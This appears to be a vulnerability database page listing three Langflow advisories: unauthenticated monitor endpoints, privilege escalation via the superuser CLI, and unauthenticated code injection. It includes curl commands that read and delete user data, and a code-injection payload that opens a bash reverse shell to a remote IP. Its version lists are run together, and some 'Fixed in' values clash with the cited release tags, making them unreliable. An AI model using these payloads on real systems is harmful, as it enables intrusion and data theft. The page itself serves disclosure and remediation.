Ensure no authentication headers or API keys are provided

Reproduction Commands:

# 1. Access all user conversations without authentication curl http://localhost:7860/api/v1/monitor/messages # 2. Access transaction history without authentication curl "http://localhost:7860/api/v1/monitor/transactions?flow_id=00000000-0000-0000-0000-000000000000" # 3. Delete user messages by session without authentication curl -X DELETE http://localhost:7860/api/v1/monitor/messages/session/00000000-0000-0000-0000-000000000000

Expected vs Actual Behavior:

Expected: All requests should return 401 Unauthorized

Actual: All requests return successful responses with sensitive data or perform destructive operations

Impact

Vulnerability Type: Broken Authentication and Authorization (OWASP Top 10 - A01:2021)

Severity: High

Who is Impacted:

All Langflow users: Personal conversation data exposed to unauthorized access

System administrators: Transaction logs disclosed

Specific Impacts:

Data Breach: Unauthorized access to user conversations containing potentially sensitive personal information

Privacy Violation: Transaction histories and user activity patterns exposed without consent

Data Destruction: Malicious actors can delete user conversation histories without authorization

Compliance Risk: Potential violations of data protection regulations (GDPR, CCPA, etc.)

System Intelligence: Attackers can gather information about system usage patterns and user behavior

Attack Scenarios:

Malicious users accessing proprietary conversation data

Malicious users deleting other users' conversation histories

Automated scraping of all user conversations for data harvesting

Reconnaissance attacks to understand system architecture and usage patterns

Recommended Fix: Add authentication dependencies to all affected endpoints:

@router.get("/messages", dependencies=[Depends(get_current_active_user)]) @router.get("/transactions", dependencies=[Depends(get_current_active_user)]) @router.delete("/messages/session/{session_id}", dependencies=[Depends(get_current_active_user)])

Environment:

Langflow Version: Current main branch

Affected Components: API v1 monitoring endpoints

Authentication System: FastAPI dependency injection with get_current_active_user

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 105 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post20.5.10.6.00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.0

Fixed in

0.7.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx
https://nvd.nist.gov/vuln/detail/CVE-2026-21445
https://github.com/langflow-ai/langflow/commit/3fed9fe1b5658f2c8656dbd73508e113a96e486a
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/1.7.1
https://pypi.org/project/langflow-base

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2025-57760 PYSEC-2026-1526 GHSA-4gv9-mp8m-592r PYSEC-2025-243 Jul 07, 2026

Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

8.8 / 10
High
Network Low Low None Unchanged High High High

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

Start container with LANGFLOW_ENABLE_AUTH set to True.

Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{ "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass" }

Inside reverse shell, create superuser:

Log into UI as new superuser:

Impact

Privilege escalation to superuser — complete takeover of the Langflow instance

Access to all user data, flows, stored credentials, and configuration

Credential leakage — attacker can extract third-party API keys

Exposure of environment variables (inside docker container)

Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.

Full user management — superuser can delete other users, reset their passwords

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 93 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.00.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.20.4.30.5.00.5.0.post10.5.0.post2

Fixed in

0.5.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r
https://github.com/langflow-ai/langflow/pull/9152
https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97
https://github.com/langflow-ai/langflow
https://pypi.org/project/langflow-base
https://github.com/advisories/GHSA-4gv9-mp8m-592r

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2025-3248 PYSEC-2026-380 GHSA-rvqx-wpfh-mfx7 PYSEC-2025-36 Jun 29, 2026

Langflow Unauth RCE

Critical
Network Low None None

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Affected versions

0.0.130.0.140.0.150.0.160.0.170.0.180.0.190.0.200.0.210.0.220.0.230.0.24

+ 81 more Show less

0.0.250.0.260.0.270.0.280.0.290.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.600.0.610.0.620.0.630.0.640.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.800.0.810.0.820.0.830.0.840.0.850.0.860.0.870.0.880.0.890.0.900.0.910.0.920.0.930.0.940.0.950.0.960.0.970.0.980.0.990.1.00.1.10.1.20.1.30.1.40.1.4.post10.2.0

Fixed in

0.3.0

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
https://nvd.nist.gov/vuln/detail/CVE-2025-3248
https://github.com/langflow-ai/langflow/pull/6911
https://github.com/langflow-ai/langflow/commit/faac4db133de32fcb6d483fa9ff52f40ce42bdc0
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/1.3.0

Updated Jul 01, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 1
minor 12
patch 136
pre 210

360 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More